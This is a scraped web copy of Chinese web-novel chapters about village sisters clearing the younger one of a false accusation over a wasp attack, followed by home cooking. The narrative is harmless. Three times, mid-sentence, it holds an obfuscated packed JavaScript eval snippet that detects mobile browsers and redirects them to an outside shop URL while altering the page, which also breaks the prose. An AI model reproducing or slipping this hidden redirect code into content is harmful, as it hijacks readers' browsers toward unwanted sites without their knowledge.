万秋灵来到院子的菜圃边，蹲下身观察。蔬菜长得都郁郁葱葱的，其中有几株莴笋，长势喜人，叶片宽阔又紧密，中间的茎杆已经很粗壮了，表皮呈现出健康的绿白色。 莴笋有两样吃的部分，叶子虽然味道有些苦，但是处理好了风味也不错，主要还是茎杆，削去外面那层皮，可以切丝凉拌，也可以切片切块烹饪。 万秋灵还记得有个细长品种的莴苣，去皮后切成条风干，就成为了贡菜。据说是古代有百姓将莴笋做成干菜，献到皇宫里，被定作贡品，因此有了贡菜之名。 从莴笋想到贡菜，由贡菜又想到适合烫火锅煮麻辣烫吃，想起火锅麻辣烫……想太远了。 “阿姐，你怎么不说话了呀？”万小兰见姐姐盯着莴笋出神，凑到她面前问，“你在想什么呢？这么入神。” 在想火锅……万秋灵眨了眨眼：“我在想，以后可以把莴笋晒了，做成苔干吃。” “苔干？我还没吃过呢，阿姐你懂的好多。” 万小兰依旧没放弃追问：“你还没说，找墩子哥啥事儿呢？” “后面你就知道了。”万秋灵卖起了关子。 早上，墩子得了万秋灵的嘱托去办件事，出门的时候人还是很平静的，回来时却变得慌里慌张。 他在路上听到那些村民的议论，当时就觉得事情不太妙，难怪秋灵姐忽然找他帮忙，莫非就是料到会有这一出？他不敢多耽搁，急匆匆地往村尾赶，一路跑着回来，敲响了万家的门。 “秋灵姐，不好了！出事情了！”他额头都跑出了汗，声音十分焦急。 “墩子哥，阿姐让你进来再说。” 看到万小兰，墩子神色有一些复杂，默默跟着她进了院里。 万秋灵正在整理午饭要用的东西，她走出来，先是问道：“墩子，你先说说，我让你帮忙问的事，结果怎么样？” 墩子连忙点了点头，喘匀了气才回答：“问过了，和你说的一样。” 万秋灵心里有了数，这才问他：“是不是路上听到什么了？这么急着跑回来。” “对！我路过村头那儿，听到好多人在讨论，说虎子脸肿得特别骇人，周婶子到处说……说，虎子是被人给害了！”讲到这儿，他下意识看了一眼正竖着耳朵听的万小兰。 万小兰本来听到虎子脸肿得不能看，吓得赶紧摸了摸额头上的包，她的包已经消肿了不少，没想到虎子会那么严重。都是同一窝蜂子，怎么蛰了人差别这么大？ 又听到周婶说虎子是被人害的，万小兰很是疑惑，心里面嘀咕着，哪里有人害他，不就是他也摔了一跟头吗？说不定就是摔到了脸，才变那样的。 结果看到墩子哥停顿时瞄了她一眼，才猛地反应了过来，“周婶该不会……说的是我吧？” 墩子神情复杂地点了点头。 “说我害了虎子？”万小兰差点原地跳起来，难以置信，“怎么可能是我？我都摔倒了，被蛰得满身是包，跑都来不及，咋个去害虎子？马蜂又不是听我的话去蛰他的！” 她说完才想起万老爹还在屋里，怕惊动到他，赶紧收了声音道：“墩子哥，昨天栓子和翠花也在呢，一问就知道我有没有害人！” 墩子只能笨拙地安慰：“小兰你放心，我肯定不信，就是听他们在乱传……” 万秋灵听着所谓的传言毫不意外，原本对昨天的事就有些怀疑，现在既然已经确定了，她倒不怎么慌。 只是没想到周大嘴反而这么着急，四处嚷嚷，也不知她是清楚内情呢，还是不清楚呢？有意思。 一旁的万小兰委屈得不行，又气又急：“周婶和虎子咋能随便冤枉人？是，我是有些看不惯他们，可我们两家又没有什么大仇！她怎么可以……把这么大的屎盆子往我头上扣呢？这要是传开了，村里人还咋看我，咋看待我们家？” 她虽然还小，但也知道被坏了名声的后果，家里的小馆子，以前不就是这样被搞垮的吗？万小兰担忧地看了一眼屋子，爹爹应该没有听见。 万秋灵轻轻拍了拍她的肩膀，带着安抚的力量，而后继续询问墩子，语气平静：“墩子，你把听到的那些话，再说得仔细一点。” 墩子努力回忆着，把听到的闲话尽量复述了一遍。 “……周婶拉着虎子在村头转，逢人就说虎子被人害了。问是谁，她也不明说。有人就挨个猜，问到小兰的时候……周婶就慌慌张张的，说她可没讲……” “后面又听人说，周婶从村头离开后，没回家，去了东头赵家，说是求法子治治虎子。” “她去赵家了？”万小兰一听，就要拉着姐姐往外冲，“阿姐，我们也去！当面把话说清楚，不能让她这么冤枉我！” “先不急。”万秋灵大概猜到周大嘴要做什么了。 她问了万小兰一个毫不相干的问题：“想不想吃鸡蛋羹？” “啊？”万小兰已经摆好架势，摩拳擦掌地要去干架了，被这个突然的问题砸得懵住。 “阿姐！这都什么时候了，火烧眉毛了，你咋还惦记鸡蛋羹？！” 而且家里的鸡蛋都吃完了，那只母鸡下蛋看心情，今天还没下蛋呢，要是它心情不好，不一定有的吃。 “我就问你，想不想吃？”万秋灵不为所动。 万小兰被问得没脾气了，深吸一口气答：“想！”又想起来阿姐原本说的，“不是鸡蛋烧豆腐吗？” “可以都有。”万秋灵语气笃定。 可恶……在这么紧张的时刻，万小兰竟然不受控制地咽了咽口水。 万秋灵又把目光转向一脸困惑的墩子：“墩子，今天辛苦你了，到时候留下来吧，一起吃顿饭。” 墩子也懵懵的，答应了。 真是奇怪，他原本和万小兰一样着急上火，听着万秋灵的话，看着她冷静沉着的样子，竟然也跟着冷静下来了。 “对了墩子，还得麻烦你再替我跑一趟。” 万秋灵招招手，示意他靠近点，低声说了几句。 墩子认真地听着，时不时点点头，或是微微瞪大了眼睛。等万秋灵讲完，他又重新确认了一次，得到肯定的答复，这才匆匆忙忙出门去了。 两人说话也没避着，但万小兰这次懒得打听说了什么，阿姐嘴严，不想说的话根本问不出来。 “阿姐，那咱们要怎么做呀，有什么需要我去办的吗？” 如果是去跟周婶子吵架，虽然她不如阿姐厉害，但是阿姐夸过她嗓门大，也是能帮上忙的，就像摆摊吆喝那样！ “我们啊……等就行了。” 既然周大嘴这么爱演戏，万秋灵决定大发善心帮她一把，让村里面的人都来欣赏下。 大洼村也该热闹热闹了。 …… 周大嘴到了赵家，跟赵家婶子倒了一会苦水，聊孩子们的情况，聊富贵的伤是怎么处理的。 赵家婶子自然是顺着宽慰了几句，周大嘴见氛围差不多了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17251297|197954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，脸上露出愤懑的神色：“你是明理人，我本来也想不多说，这事实在是憋屈啊！孩子们是一块出事不假，可这祸根子，得有人担着！” “虎子他娘，你这话是……” “万家那丫头！她故意踩的马蜂窝，害得其他孩子们遭殃！” 富贵本来躲在屋里着听，听到这话就冲出来，大声道：“周婶子，你咋能这么说？小兰姐自己也被蛰不少，就算是她踩的，也不是故意的。疼几天就是了！” 赵家婶子等他说完才板起脸，呵斥道：“富贵，大人说话，你插什么嘴，没规矩！回屋去。” 她转向周大嘴，脸上恢复了客气的笑容：“虎子娘，我家小子就这脾气，说话不过脑，你别往心里去。孩子们的事，有时候就是赶巧了，哪里谈得上什么故不故意的。” 周大嘴暗骂她不上道：“富贵他娘，我想着咱们几家孩子吃了亏，起码去万家讨个说法，让他家大人知道，好好看管孩子，免得以后又闹出这些事！” 就差把话挑明了说，去闹，去要赔礼！ 赵家婶子哪能没听出来，但她就是不接茬，跟周大嘴打太极。什么富贵这孩子不乐意去，我也犟不过他，富贵他爹也说了孩子皮实，这点伤不算个啥…… 最后客客气气把人母子俩送走了。 等周大嘴一走，富贵又钻了出来，气鼓鼓地说：“娘，虎子他娘就是想讹钱，我才不去干这种缺德事！” 赵家婶子摸了摸他的头：“这事咱不掺合，万家现在不容易，咱不能落井下石。你就在家老实待着，听见没？” “知道了。” 富贵心里对虎子更看不上眼了，他怎么这样？男子汉大丈夫，被蜂子蛰几下就哭爹喊娘，真没出息！ 虎子正被他娘拉着去二喜家。 周大嘴没能说服赵家，脸色阴沉，远远瞧见墩子从一条岔路走过。想到昨天墩子的弟弟妹妹也在，赶忙扬声招呼：“墩子，这是赶哪去？” 墩子看见是她，脚步不但不停，还加快了些，掉头就走了。 周大嘴朝他的背影啐了一口，低声骂：“真是晦气！”王家跟万家是邻居，看样子是向着万家，很难说动。这么一想，二喜家是最重要的，她得打足精神。 到了二喜家，刚好她爹娘都在。周大嘴准备了一肚子的话，添油加醋一通游说。 “……将来说人家，脸面多重要啊，万一留了疤，毁了相，以后可咋办？”她算准了二喜爹娘会心疼小女儿，“二喜多文静乖巧的闺女，平时都不出门，一出门就遭这么大的罪！” 给二喜爹娘说得有些松动了，他家孩子好不容易出去玩一次，弄得一身包回来，昨天哭了好久。他们本来心里就有些窝火，听周大嘴这么一说，觉得也有些道理。 “咱们占着理，总得让万家表个态度！不然以后谁家孩子还敢跟她们玩？” 周大嘴说了半天，想起还没看到二喜本人：“二喜呢，让孩子也说说，昨儿吓坏了吧。” “刚还在呢，好像出去了。”二喜娘出门去寻，把二喜领了回来。 二喜身上的包比富贵要严重些，周大嘴故意夸张地惊呼：“哎哟！看这小脸被蛰的！” 她指着一旁的虎子，对二喜爹娘道：“你们瞧，虎子昨天也就比二喜严重点，睡一觉就成这副鬼样子了！这蜂子厉害起来，说不准的！” 虎子脸上肿起来的地方红得发紫，十分醒目。 二喜害怕得想缩起来，她爹娘更是脸都白了。 周大嘴趁机开始忽悠二喜，连吓带哄的，二喜迷迷糊糊地点了点头。 “哎呀，孩子都同意了，孩子心里也委屈啊！”周大嘴赶紧催促二喜爹娘，“走走走，咱们现在就去万家！” 12. 搭台子唱戏 喧哗的人声逐渐从远处传来，由远及近。 “来了。”万秋灵站起来活动了下身体，指挥万小兰，“去跟爹说一声，就说我们有事出去一趟，让他安心躺着。要是有外人敲门，不用搭理。” 万小兰绷着脸点点头，快步跑进屋里。 万秋灵拿起准备好的小包袱，检查了一遍两人身上是否妥当：“走吧。” 出了门，万秋灵又朝隔壁王家喊道：“墩子，一会就麻烦你了。” 等墩子应了声，她才牵着万小兰，迎着喧嚣的方向走去。 栓子和翠花在屋里听到声音，好奇地问墩子：“二哥，秋灵姐让你干啥？” 墩子把院里竹编的工具收拾好，暂时收工。 “就是跑个腿。”墩子想了想，还是不太放心，看向弟弟妹妹，“你们现在就跟过去，待会帮一帮秋灵姐。” 两个孩子虽然不懂，但听话，立马跑出去追。 很快，两拨人在村子中间的土路上相遇了。 周大嘴那边，除了她和虎子、二喜一家，路上凡是听说了这件事的，闲着无聊来看热闹的村民，男女老少，聚集了二三十号人，颇有些声势。 而万秋灵这头，一个人带着妹妹，显得势单力薄。 还没到万家，就看到万家姐妹迎面走来，有村民问道：“秋灵，小兰，你们这是去哪啊？” 万秋灵笑着答：“婶子，我和小兰打算去地里头，给娘送点干粮和水。”她目光扫过黑压压的人群，露出几分好奇和不解，“各位叔伯婶子这是……这么大的阵仗？” 有人嘴快，接话道：“还送啥干粮？已经让人去地里叫你娘回来了，不用白跑一趟！” “叫我娘回来？”万秋灵脸上的疑惑更深，“可是地里有什么事？” 人群中有个年轻妇人沉不住气，嚷嚷道：“还能有什么事？当然是虎子的事！” 万秋灵像是才注意到被周大嘴半搂着的虎子，她的目光在虎子脸上停留了片刻，挑起了眉。 “虎子，这脸……没事吧？” 果然传闻不如亲眼所见，好震撼的一张脸！ 万秋灵打量着他明显异常的皮肤状态，目测像是过敏严重，但脖子和手背又是正常的，过敏原应该不是蜂毒。 周大嘴见她这副假模假样的姿态，柔弱也装不下去了，尖声喊道：“装什么假好心？我儿子为什么这样，你们心里最清楚！” 万秋灵被她吼得一愣，脸色也淡了下来：“周婶子，你这话我就听不懂了。我关心虎子两句，怎么是假好心？好歹都是一个村的，见他受伤，问一句都不行？” 旁边有知道内情的村民，帮着解释。 “秋灵，也不怪周婶子这样。虎子这伤……听说和你家小兰脱不了干系。” “对，说是小兰害的他！” “什么？”万秋灵满脸惊愕，她看向紧挨着自己的妹妹，又看了看缩着头的虎子，“虎子，你说说看，这是怎么回事？小兰怎么就跟你的伤扯上关系了？又怎么害了你？” 虎子根本不敢抬头，对上万秋灵那双清澈的眼睛，像是被看透了似的，心虚得厉害。 周大嘴也下意识避开了目光，只能紧紧搂住儿子，扯开嗓子嚎：“哎哟，我儿子命好苦啊！被人害成这样，人家还不认啊，没天理啊……” 万小兰被气得脸蛋通红，她悄悄握紧了拳头，愤怒地盯着周大嘴，几次想上前争辩。但阿姐叮嘱过，让她别随意开口，只能咬牙忍着。 后面赶来的栓子和翠花根本没搞清楚状况，呆呆地立在一边。 围观的人群中，有些人见万小兰目光愤恨地瞪着周大嘴母子，窃窃私语起来。 “你看万小兰的眼神，凶得很啊……” “做了亏心事还敢这么瞪人？” “要是没害人，她肯定跳出来和周家吵嘴了。” 就在这时，人群外传开喊声：“让一让，都让一让！” 周大嘴心里一喜，她早就跟自家男人通过气，让他早点回来撑腰。 又听到人说“里正来了”，周大嘴一愣，谁去请了里正？这死老头平常不爱管这些鸡毛蒜皮的，不过来了也好，正好让他看看虎子的惨状，评评理！ 围观的村民让开一条通道，不止里正，还有虎子爹、杜氏，以及不少刚从坡上回来、听到消息赶来的村民。 墩子的爹娘和大哥也在其中，本来就快到午饭时分，劳作的人陆陆续续回来。 这下，大半个村子的人都集齐了，纷纷凑到自家人旁边，议论声嗡嗡的。 里正走到两拨人中间，清了清嗓子，等众人声音停下来，才开口：“聚这么多人，怎么回事？” 周大嘴立刻抢着上前，指着万家的人，控诉道：“里正您来的正好，您给评评理！万小兰这丫头，心肠狠毒，害得我家虎子，还有富贵、二喜、栓子、翠花，好几个孩子都被马蜂蛰了！您看看我儿子，眼睛都睁不开呀……我们就是想找他们万家要个说法，讨个公道！” 她一把扯过虎子，把他色彩丰富的脸展示给里正和众人看。 虎子爹赶紧帮腔：“对！里正，我儿子被害惨了，万家必须负责！” 二喜爹娘这会被这么多双眼睛盯着，脸上有些挂不住，硬着头皮小声附和道：“是……孩子遭了罪，我们也是想来问问……” 里正眉头皱得紧紧的，额头的纹路都深了不少，看向气得发抖的万小兰，问道：“小兰，周家说的，可是实情？” 万小兰正要回答，周大嘴却抢过话头，用力推了一把虎子：“虎子，你就别替她瞒着了！你说，她是怎么害的你？当着大家的面，实话实说！” 虎子被推得一个趔趄，对上他娘严厉的眼神，感受到周围无数道目光，心里慌乱得不行。 他磕磕巴巴开口：“是，是万小兰！她故意踩了马蜂窝，之后……她，她拽了我一把，把我拽倒了！我脸摔在地上，又被蜂子围着蛰，才变成这样的！” 不少围观的人都倒吸一口气，万家这丫头，这是存心要让虎子受伤啊！ “你胡说！我什么时候拽你了？！”万小兰终于忍不住了，急得大喊。 周大嘴脸色一变，恢复了在家时泼辣的模样，唾沫飞溅：“你这丫头片子，害了人还敢抵赖！你心虚什么？要不是你拽倒我儿子，他能磕到地上，还被蛰得最狠？你看看他的脸，再看看你的，这就是证据！” 到底在这么多人面前，更难听的话她没骂出来。 人群里议论纷纷，不少人打量着虎子和万小兰对比鲜明的脸，心里的天平又朝周大嘴那边偏了偏。 “啪啪——” 清脆的几记掌声，在一片争吵议论中格外突兀。 人群循着声音望过去，见刚才沉默不语的万秋灵，正缓缓放下手，原本拿着的包袱扔在脚边。 她眼瞧着万小兰要气背过去，杜氏愁眉苦脸的，而她听这些来来回回的车轱辘话也听烦了。 把所有人的注意力都集中过来，连周大嘴的骂声都卡在了喉咙里，人群终于安静了。 万秋灵朝里正微微颔首，声音温和：“里正，周婶子的指控，我听明白了。既然要摆事实讲道理，我也想问几句话，了解情况可以吗？” 里正早 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17258796|197954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就注意到这丫头一脸冷静，仿佛置身事外，跟她妹妹截然不同。他点点头，想看她葫芦里卖的什么药。 周大嘴直觉不妙，这丫头的嘴皮子她是知道的，刚要故伎重施截过话头。 “虎子娘，”里正先一步开口，“让她问几句，我自有公断。” 万秋灵也出言安抚道：“周婶，你放心。等弄清楚原委，该是谁的责任，如何补偿，我们绝不含糊，不会叫虎子白受委屈。” 这话说得漂亮，既堵住了周家的嘴，又显得通情达理。不少围观的村民暗暗点头。 万秋灵转头问虎子，语气放得很缓：“虎子，你说小兰故意踩了马蜂窝，你亲眼看见的，对吗？” 虎子含糊地“嗯”了一声。 “能不能具体描述一下，怎么个故意法？” “我离得最近，看得……很清楚。”虎子在他娘眼神的鼓励下，说话越来越流畅，“她摔倒了，在下面看到蜂窝，她就，伸脚踩了过去。” 周大嘴赶紧跳出来补充：“肯定是这丫头摔倒了，心里不忿，就故意使坏，想把大家都拖下水！” 她这话也是引导着其他几家孩子的家长，果然，二喜爹娘的脸色更难看了。 万秋灵没理她，继续问虎子：“你说离得最近，那小兰摔倒的时候，你在做什么？难道没有把她拉起来？” 虎子被问得一愣，下意识答：“我在捡地上的果子……”他忽然灵机一动，顺着话补充，“我就是想拉她一把的时候，被她故意拽倒的！” “也就是说，小兰先是故意踩马蜂窝，又故意拽你。”万秋灵又问，“除了你，还有其他人看见、能为你作证吗？” 虎子摇了摇头：“那个树下，当时就我们俩……” 万秋灵看向其他几个孩子。二喜缩在爹娘的怀里，富贵似乎没有来，栓子想起二哥的话，紧张道：“我们在另一头捡果子，只听见小兰姐叫了一声，接着虎子哥也叫，蜂子很快飞出来，我们就赶紧跑。” 富贵也从人群后挤到前面，跟着说：“我和栓子在树上，叶子密，看不清。翠花和二喜在树下忙着捡果子。”他还是没忍住，从家里偷溜出来了。 “看来，当时发生了什么，只有虎子和小兰知道。”万秋灵顿了顿，话锋一转，“不过，小兰昨天回来告诉我，她原本踩着一段枯树枝垫脚，去摘果子。结果脚下的东西却猛地被人抽走了，她才会滚到坡下，无意间撞开了马蜂窝。” 听她这么说，人群顿时一阵喧哗。万小兰本人却愣了一下，很快又调整表情。 “真的假的？谁干的？” “现在一个个都说是被人害了，别是在耍我们……” 周大嘴反应过来，这是要把脏水泼到虎子身上，尖声骂道：“放你的狗屁！你颠倒黑白，张口就乱编，想把账赖到我儿子头上！没门！” 虎子爹则是脸色大变，嗫嚅着嘴，也想说点什么。他看向儿子，心里隐隐感觉不太对…… 万秋灵抬起手，示意众人稍安勿躁。 她满是无奈地看着周大嘴，和气道：“周婶先别急，我听到的时候也很惊讶，怎么会有人这么坏呢？说不定只是小兰自个踩断了树枝，或者脚滑了。” “可是……小兰做了一宿噩梦，梦里也一直在哭……我这个当姐姐的，心里实在担忧啊！” 万秋灵长长地叹了口气：“所以，我一大早想了个办法，就是想弄清楚到底怎么回事。” 她说完，目光缓缓地依次扫过在场的村民，最后，落到了被爹娘护住的二喜身上。 “二喜，别害怕。告诉大家，你昨天都看到了什么？” 13. 腊肠焖饭 二喜虽然胆子小，却是个心思细腻的孩子。 她爹娘还在愣怔中没反应过来，怎么就扯到了自家闺女身上？二喜却已经松开了拽着爹娘衣服的手，鼓足勇气往前迈出一步。 周家几人都傻眼了，没想到这个看起来胆小、不起眼的小丫头忽然站出来。周大嘴心里七上八下的，不知道她究竟看到了什么，又不好当众拦着不让她说话。 二喜声音不大，但是条理很清晰：“我当时蹲在地上捡果子。那棵高的树果子很甜，富贵扔下来的也多，我捡不过来，就想喊小兰姐过来一起。然后……我抬起头，远远的，看到虎子哥蹲在小兰姐身后，伸手抓住了小兰姐脚下的树枝。我看呆了！还没明白他要干啥，他就快速把树枝抽走了。” “接着小兰姐尖叫了一声，摔下去了。虎子哥拔腿就往边上跑，结果他脚下好像绊到了石头，也滚了下去。之后，他们两个都喊叫，好多蜂子飞出来！我就吓得跟大家一起跑了。” 二喜的话说完，现场人群一片安静。 所有人都在想，这，这完全推翻了周大嘴和虎子之前的说法啊！ 周大嘴则是跳起来，指着二喜骂道：“你胡说！你个死丫头，收了万家什么好处？串通好的是不是？你们合起伙来撒谎，陷害我儿子！” 她情绪完全失控了，甚至忘记去观察儿子的反应。 虎子在二喜说到一半时，就已经面如土色，身上发着抖，眼里满是害怕和恐惧。虎子爹也是一脸灰败，才明白过来。 二喜爹娘最是了解自家孩子，听周大嘴倒打一耙污蔑闺女，火气一下子就窜了上来。 二喜爹大步上前将女儿护在身后，指着周大嘴的鼻子就骂了回去：“周大嘴！你个腌臜泼皮，满嘴喷粪！我说你怎么突然上门，说要去讨什么公道，还拿虎子的脸吓唬我们，说二喜明天也会变成那样！原来，是你儿子干了缺德黑心事，还想拉我们一起去讹万家，我呸！真不要脸！” 周大嘴哪里肯认输，气得脸红脖子粗，立刻回骂：“你才不要脸！你女儿拿万家的钱，你们一家子陪着演戏，先是假装答应我，转头就当众污蔑我儿子！你们跟万家一样，黑了心肝烂了肠子！” 眼看着两家都要打起来了，骂得越来越难听，几个村民赶紧上前拦着，把双方隔开，场面十分混乱。 “够了！都住口！” 里正气得胡子都在抖，提高声音道：“像什么样子！当着全村人的面，动手动脚的，还有没有规矩？先安静！” 拉扯半天，里正又呵斥了一遍，两家人总算是分开了。 就在这时，万秋灵的声音再次响起：“里正，二喜这孩子，是村里出了名的乖巧老实，不擅长撒谎。周家就算有质疑，也不能随便骂人小姑娘，说她收钱栽赃，这是污蔑二喜的名声。” 里正点点头，知道这丫头还没说完，示意她继续。 万秋灵又道：“周婶，你要不再问问你的儿子？” 周大嘴飞快瞥了一眼虎子，见他脸色煞白，一副心虚慌乱的模样，她心里猛地咯噔一下。原本没敢细想的，一个可怕的念头逐渐清晰。 难道，二喜说的是真的？可虎子明明说的是…… 万秋灵像是没看出周家三人惨白的神情，故意曲解了周大嘴的沉默：“看来周婶还是不太相信。不过没关系，我想的办法，本就不止这一个。” 听到她这么说，众人的好奇心全都被吊了起来。 二喜的话已经还原了真相，形势完全逆转了，这万家丫头，居然还留着后手？ “现在，还有一个关键的问题。”万秋灵直直地看向虎子，“虎子，你抽走小兰脚下的树枝时，知道坡下有蜂窝吗？” 如果抽走树枝还能狡辩，说恶作剧导致意外，但明知道有蜂窝…… 众人都死死盯着虎子，里正的眼神也变得锐利起来。虎子赶紧哭着喊：“我不知道！我只是想吓唬她一下！让她摔个屁股墩儿，我不知道有蜂子啊！” “是这样吗？” 万秋灵也不再卖关子，朝人群外围道：“墩子，把人请过来吧。” 墩子从人群后拉出一个少年，这少年比他略矮一些，是常跟狗剩玩的大孩子，名叫狗蛋。 狗蛋看着瘫坐在地上哭的虎子，大声道：“虎子，那两棵果树是我先发现的。我告诉你时就讲了，坡下有个土蜂包，给我蛰了一下，疼得够呛，我拿叶子盖在上面做了记号，让你先别去。你怎么回事？不光偷偷去了，还带着栓子他们一群小的去？” 人群彻底炸开了锅。最开始替周大嘴抱不平的村民，这会已经骂开了。 “周大嘴，你还有脸来喊冤？你儿子才是祸根，你们一家子都不是好东西！” “怪不得就他被蛰最狠，报应！” 几个当事孩子的家长更是群情激愤。墩子爹和大哥脸色铁青，袖子都撸好了，随时准备开打；二喜爹娘抱着女儿，一个劲儿骂着周家；杜氏拉着万小兰，后怕不已。 你拉我扯、你推我搡的，场面无比混乱，骂声不停，随时要发展成多人斗殴。 周家人虽然理不直气也不壮，但也不甘心在众目睽睽之下丢尽颜面，因此还在还嘴拱火。虎子躲在爹娘身后，生怕被拽出去，眼泪流个不停。 闹到最后，还是里正出来调停，让村民将他们先分开。 “都别吵了！听听里正怎么说！” 里正先是理了理衣襟，目光严肃地扫过周家三人，最终下了定论： “周虎心术不正，故意害人，必须严格的管教！周虎爹娘没教育好儿子，还颠倒黑白，必须向所有受害人户，尤其是万家，赔礼道歉，容不得你们耍赖！” 村民们纷纷附和，说里正处理得对。 事情到这里告一段落，热闹看完，村民渐渐散去，交谈声逐渐远了。周家人早就灰溜溜逃走，头都不敢回。 万秋灵拉着万小兰和杜氏，郑重地向里正道了谢。 回家路上，万小兰才想起帮姐姐拿小包袱：“阿姐，我帮你拿。” 万秋灵笑了笑：“不妨事，是空的。” 万小兰接过来一捏，果然轻飘飘的，只塞了一些布，她傻傻地看着自家姐姐。杜氏也迷惑得紧，一肚子话想问大女儿，只能等到家再说。 下午的时候，虎子爹硬着头皮，提着半篮子鸡蛋和两节腊肠，磨磨蹭蹭到了万家门前，说了几句赔罪的话，匆匆走了。 等他给各家都赔完东西，几乎把家里都掏个空，但这是里正的要求，他也没办法。周大嘴和虎子没脸出门，只有他低声下气赔罪。 一回去，周家院子里就开始吵。两口子先是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17270025|197954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 互相对骂，吵着吵着又心疼那些赔出去的东西，把矛头对准儿子，左右开弓抽打。 虎子嚎啕大哭，旧伤没好又添新伤。 他上次要糖吃，没吃到就嫉妒上万小兰，又听他娘整日在屋里说万家的坏话，就想狠狠整她一回，谁知道变成了现在这样。 隔壁院子的听着墙那边的吵闹声，这回没去屋里躲清静了。 婆媳俩听得津津有味的，心里那叫一个畅快。 …… 万秋灵大致数了数，有十六个鸡蛋。她语气轻松：“瞧，这不就有鸡蛋了？” 万小兰这才想起，早晨阿姐问她想不想吃鸡蛋羹。 “阿姐，你问的时候就猜到周家会赔鸡蛋过来？”她两眼放光，“那，那咱们一会儿就做鸡蛋羹吃吗？” “明天吧，今天先把豆腐做了。” 万秋灵又拿起那两截腊肠看了看，色泽暗红，肥肉占了差不多四成，瘦肉六成。肥肉多了点，不过也还可以，怕是周家过年腌的舍不得吃，如今拿出来，也算下了血本。 万秋灵将东西收好，拿了一截腊肠和两个鸡蛋出来，打算做点好吃的补偿下。 她用温水将腊肠的表面洗净，切成大小均匀的片。肥肉的部分较多，锅烧热之后不用放油，将腊肠片铺在锅里，小火慢慢地煎，腊肠里面的油脂被逼出，浓郁的咸香肉味飘散出来。 等腊肠煎得微微焦黄，边缘开始打卷儿，先盛出来，锅里还剩了一层油。把淘洗好的糙米倒进去，加入适量的水，再把腊肠放回锅里，盖上锅盖焖煮。 另一边，将鸡蛋打入碗中，加入少许的盐调味，用筷子打散。豆腐切小块，油热了轻轻放进锅里，两面都煎好之后，把蛋液倒进去，等蛋液定型再翻炒调味。 “小兰，去把墩子叫过来，栓子和翠花也喊上吧。” 万小兰得了姐姐的吩咐，去了隔壁。 墩子哪好意思带那么多人蹭饭，独自跟着万小兰过来了。 等菜和饭摆好，原本还打算对今天的事情刨根问底的几人，闻到腊肠焖饭和鸡蛋烧豆腐的香气，脑子都转不动了。管他什么事，吃完再说！ 桌上还有一碟削好外皮的荸荠，白白圆圆的，当饭后水果。 “吃吧吃吧。墩子，别客气，当自己家。”杜氏热情招呼着。 万老爹先动了筷子，夹起一片豆腐。 墩子这才开动，小心翼翼地撬了一筷子饭，送入口中。他眯起了眼，太好吃了！比炒笋片又上了一个台阶。 糙米被腊肠的油浸润，粒粒分明，既有腊肠的咸香，又有米香。他又尝了一口鸡蛋烧豆腐，口感十分软嫩，中和了腊肠饭的浓重。 墩子吃得头都不抬，嘴里就没停下来过。 万家其他人表面吃得很淡定，但下筷子一个比一个快。 万秋灵慢慢品尝着，这腊肠调味简单，主要靠盐和一点花椒，烟熏的时间也不长，保留了一些鲜肉的味道。用纯天然饲料喂出来的猪，本身肉质就好，光是吃着本味就很不错。 她一向是爱吃腊肠的，不管是广式的甜口，还是川味的麻辣口。做法其实也不难，只要找到处理好的肠衣，就能做出各种口味。 短短一会儿，怎么调味，怎么用竹子做简易的灌腊肠的工具，她都有了思路，只待日后实践。 14. 目睹扒手 “阿姐，我脚底下怎么有点黏黏糊糊？” 天还黑沉沉的，村路两边的树木和屋子都只有模糊的轮廓。万小兰紧紧牵着姐姐的手，深一脚浅一脚地跟着前面挑着担的墩子。墩子担子两头挂着编好的竹篮竹篓，走得稳稳当当。 万小兰现在对脚底下踩的东西非常敏感，小声嘟囔着：“还有点滑，是不是昨晚上下雨了，路上有湿的泥巴？” 万秋灵瞥了一眼她别扭的走姿，没忍住戳穿她：“没下雨，你估计是踩到鸡屎了。” “哎呀！”万小兰一边走，一边嫌弃地把鞋底在泥土路上来回蹭，“真讨厌，这些鸡！” 万秋灵笑她：“吃的时候就不讨厌了。” 墩子在前头听到动静，也憨憨地笑了几声。 走了半个多时辰，视野越来亮，远处镇子的轮廓也清晰起来。 比起山村里的土墙茅屋，镇上的房屋齐整很多，基本是青砖瓦片，街道上也铺了碎石。路不算宽阔，但比村里的土路要干净整洁。 墩子熟门熟路地领着她们，直接朝着集市的区域走。他没有去最中心的主街上，而是拐到集市外一片较为空旷的场地。这里零零散散摆了些摊子，卖的东西挺杂。 “秋灵姐，这边摆摊不用交钱，就是得早点来抢位置。”他一边卸下担子把东西摆好，一边给万秋灵解释，“卖不完的，我再去街上那几家杂货铺子问问，他们有时候会收，不过价钱嘛，压的低。” 